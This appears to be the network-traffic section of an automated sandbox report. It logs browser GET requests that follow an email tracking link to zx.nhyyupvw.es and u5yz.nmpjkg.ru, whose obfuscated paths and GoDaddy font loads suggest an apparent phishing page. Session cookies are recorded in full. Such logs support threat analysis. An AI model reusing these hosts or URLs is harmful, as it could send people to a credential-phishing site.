Source: global traffic	HTTP traffic detected: GET /c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg HTTP/1.1Host: email.double.serviceautopilot.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iSHROnSonGoT/ HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=UoLpkGKTKeyxuLbOrdh7IExim2Xl7MgKuG1h6GHjJpI-1742821974-1.0.1.1-3OARMNZU7MLSYneEExoxcsNqI6bNreTnK5ubF78c4V4sbyOvD_ZJflqUiHrfSJzAIdryPnYlbxqGd5qH1FFwAHd76bh3OK5eANTKoQL6Dcc
Source: global traffic	HTTP traffic detected: GET /ando$y42g72 HTTP/1.1Host: u5yz.nmpjkg.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zx.nhyyupvw.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zx.nhyyupvw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ando$y42g72 HTTP/1.1Host: u5yz.nmpjkg.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iSHROnSonGoT/ HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://zx.nhyyupvw.es/iSHROnSonGoT/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InROc1lENGtLMm9XY0JXZHVOdnJiQ2c9PSIsInZhbHVlIjoiK0hienJwTWkxSkRKei8weTM1RVJMdHdObUxMRmFKRm15TjdrMms0MlJBSUcxSGZQYUtQMlVEUE4xNDloWHRSQTJSOGh6NWU2OWZzL0JseVUvMFdYNGZ5SUhWR3BzRTY2dWJiQXUzVlZjb1NqUGh2NGxPTzlESXdJQk9CZWZBOU0iLCJtYWMiOiJlMmU0NDkwYzgyZWZkODYxNGU0ZTk0MDZhNjVmOTlhNTMwYzFmMmQ1ZGJkZWUzMmQ5ZDc3MzFiYmNiYjJjMDQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBqdnpHUzZZYytadjJQM003NE5NTHc9PSIsInZhbHVlIjoiQ3VOVExBN3BEQnZEU3ZFeXZpSDNoZzEvWDFabXMyZnJxeEIvMEM4QnJFTGtjK1ZBb0ErL2lCTG5PZU9vZmI5VGszbHlwL0w1bzg2OUdoUWtJd3BBZkI2UWpScWZ3Y0VkQUZWUTNDajNodk5TM0I4a3psTjNaRVVkUFB4VTVsK3EiLCJtYWMiOiI3YjM1NDY3MTE0ZTA2ZTdjNjQyMDZiYjQ3NWRhYWY0ZmFkZTE1OTc2MDM0YmY1YWJhYzQ5NDAyYjM0Zjc4NTdmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InROc1lENGtLMm9XY0JXZHVOdnJiQ2c9PSIsInZhbHVlIjoiK0hienJwTWkxSkRKei8weTM1RVJMdHdObUxMRmFKRm15TjdrMms0MlJBSUcxSGZQYUtQMlVEUE4xNDloWHRSQTJSOGh6NWU2OWZzL0JseVUvMFdYNGZ5SUhWR3BzRTY2dWJiQXUzVlZjb1NqUGh2NGxPTzlESXdJQk9CZWZBOU0iLCJtYWMiOiJlMmU0NDkwYzgyZWZkODYxNGU0ZTk0MDZhNjVmOTlhNTMwYzFmMmQ1ZGJkZWUzMmQ5ZDc3MzFiYmNiYjJjMDQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBqdnpHUzZZYytadjJQM003NE5NTHc9PSIsInZhbHVlIjoiQ3VOVExBN3BEQnZEU3ZFeXZpSDNoZzEvWDFabXMyZnJxeEIvMEM4QnJFTGtjK1ZBb0ErL2lCTG5PZU9vZmI5VGszbHlwL0w1bzg2OUdoUWtJd3BBZkI2UWpScWZ3Y0VkQUZWUTNDajNodk5TM0I4a3psTjNaRVVkUFB4VTVsK3EiLCJtYWMiOiI3YjM1NDY3MTE0ZTA2ZTdjNjQyMDZiYjQ3NWRhYWY0ZmFkZTE1OTc2MDM0YmY1YWJhYzQ5NDAyYjM0Zjc4NTdmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/iSHROnSonGoT/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkhJQ2NwMkFmWG1SZmZwaklMOTR6WWc9PSIsInZhbHVlIjoiOVdhMm50ODhodURBZ3g1S1dkTkJLZ2NYdnhjd1BUNjduUGQrYURmODllWXQ2Zk9UcTJSNFV5aStMei8xY3VoRWt3NTI4RFRvcGpzVjc4Z2dzUGQ1Z0JWZHVsQVRsU1p3TGIzMXVIN2xCSHJ0Wnp3TkV5Q0dFYU5WSnJxOE5kVmEiLCJtYWMiOiJjNjE0NzQzN2I2ZWUwMGJjOGY0ZTUwODI5ZGM3MjA2OTdiOTcxNzVhN2MzYzQ0NDY4N2QwOTk1YjFlMjU5NjUwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdXbFkyM2JpYmVPMjl2L29HYzFEQ1E9PSIsInZhbHVlIjoiQjRQK3pZN0ZhVHM3UDBQME5LRTd1aG5XVWhCRVJJanYzSmZCdzJYN0txWU05ZHY4azFXaEJ0MWNHZnQyNlp4Y3N0WWpqYkMyWVNsb1JRakNodkVHdXhnbmp6RElvZndUNG9GcEpxMWExcis3cHNXU09XMkFTcDkrTTZqTFhzeUoiLCJtYWMiOiJmNTcyODk2OTA3OGQyN2IyMzE2YWZkYjA5YTgxMzBjYzVjYTBjZjRkMWMwZmE0ZWQ3MjRiMjRlNWQ3MDY1ZWRjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://zx.nhyyupvw.es/iSHROnSonGoT/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IndCc2pxcVpQQUZpTjdBL2VRenRHUlE9PSIsInZhbHVlIjoiSERWM29EQ0VKMmVFTHZ4Z2VUUllMVUJUWlVxMFd5dTRFYWpaWGJrb0w5TVp2MG9jbjFDM3ZWbzJqUkFwMms0WGs0L1FqNGlTaWQvYmVIdG5DaTNreG04UTArUGkwQ2FuOGdBR2Y5U3NLR2VPb29qN24zRUFpS1Fub3RUbVFUckYiLCJtYWMiOiJmZDA2MzE0ZDc0YzNhMDk0Mjk1MzMyMjU4MTc0MDI3MzBjZjk4YTA5ODczMGQyZDA4ZTc0ZmQyM2FkZWNmYjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im5lZkZqQUl1UVRzY0VsaTAwVWE5V3c9PSIsInZhbHVlIjoiSzF3VndjZnlLWEVDV1RxRHgxa1VnM3gzT1AvRFdjSE5YOEdYNzJiZTY1YThVbmVMODIzTUcwb2FWWTFuSVQwU1J6ZkJjNGNYZ216dEpmdDZmZU5zK3Y2Z3pJSUFmdXhubDQ5Y3M2eVBIWW11a3VINE5XVFZ3R29GV0dKaDhvWjkiLCJtYWMiOiI4ODkyMTM0NjhkMTAwYjQzM2RhMWM0MjZjZGZhNWRhMzQ5YWEzNDg1Mzg3NWM1MWE0ZmFmZDA1YzllOTI0N2Y4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xyMnJfOyoOYokTNZFC32YwwqilhKk5QahjkelAKE6FLgy HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IndCc2pxcVpQQUZpTjdBL2VRenRHUlE9PSIsInZhbHVlIjoiSERWM29EQ0VKMmVFTHZ4Z2VUUllMVUJUWlVxMFd5dTRFYWpaWGJrb0w5TVp2MG9jbjFDM3ZWbzJqUkFwMms0WGs0L1FqNGlTaWQvYmVIdG5DaTNreG04UTArUGkwQ2FuOGdBR2Y5U3NLR2VPb29qN24zRUFpS1Fub3RUbVFUckYiLCJtYWMiOiJmZDA2MzE0ZDc0YzNhMDk0Mjk1MzMyMjU4MTc0MDI3MzBjZjk4YTA5ODczMGQyZDA4ZTc0ZmQyM2FkZWNmYjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im5lZkZqQUl1UVRzY0VsaTAwVWE5V3c9PSIsInZhbHVlIjoiSzF3VndjZnlLWEVDV1RxRHgxa1VnM3gzT1AvRFdjSE5YOEdYNzJiZTY1YThVbmVMODIzTUcwb2FWWTFuSVQwU1J6ZkJjNGNYZ216dEpmdDZmZU5zK3Y2Z3pJSUFmdXhubDQ5Y3M2eVBIWW11a3VINE5XVFZ3R29GV0dKaDhvWjkiLCJtYWMiOiI4ODkyMTM0NjhkMTAwYjQzM2RhMWM0MjZjZGZhNWRhMzQ5YWEzNDg1Mzg3NWM1MWE0ZmFmZDA1YzllOTI0N2Y4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /129GcDcdJBYNk8912 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abl4S9DqlRNd18pqJHQbcd30 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveOrigin: https://zx.nhyyupvw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveOrigin: https://zx.nhyyupvw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveOrigin: https://zx.nhyyupvw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveOrigin: https://zx.nhyyupvw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; 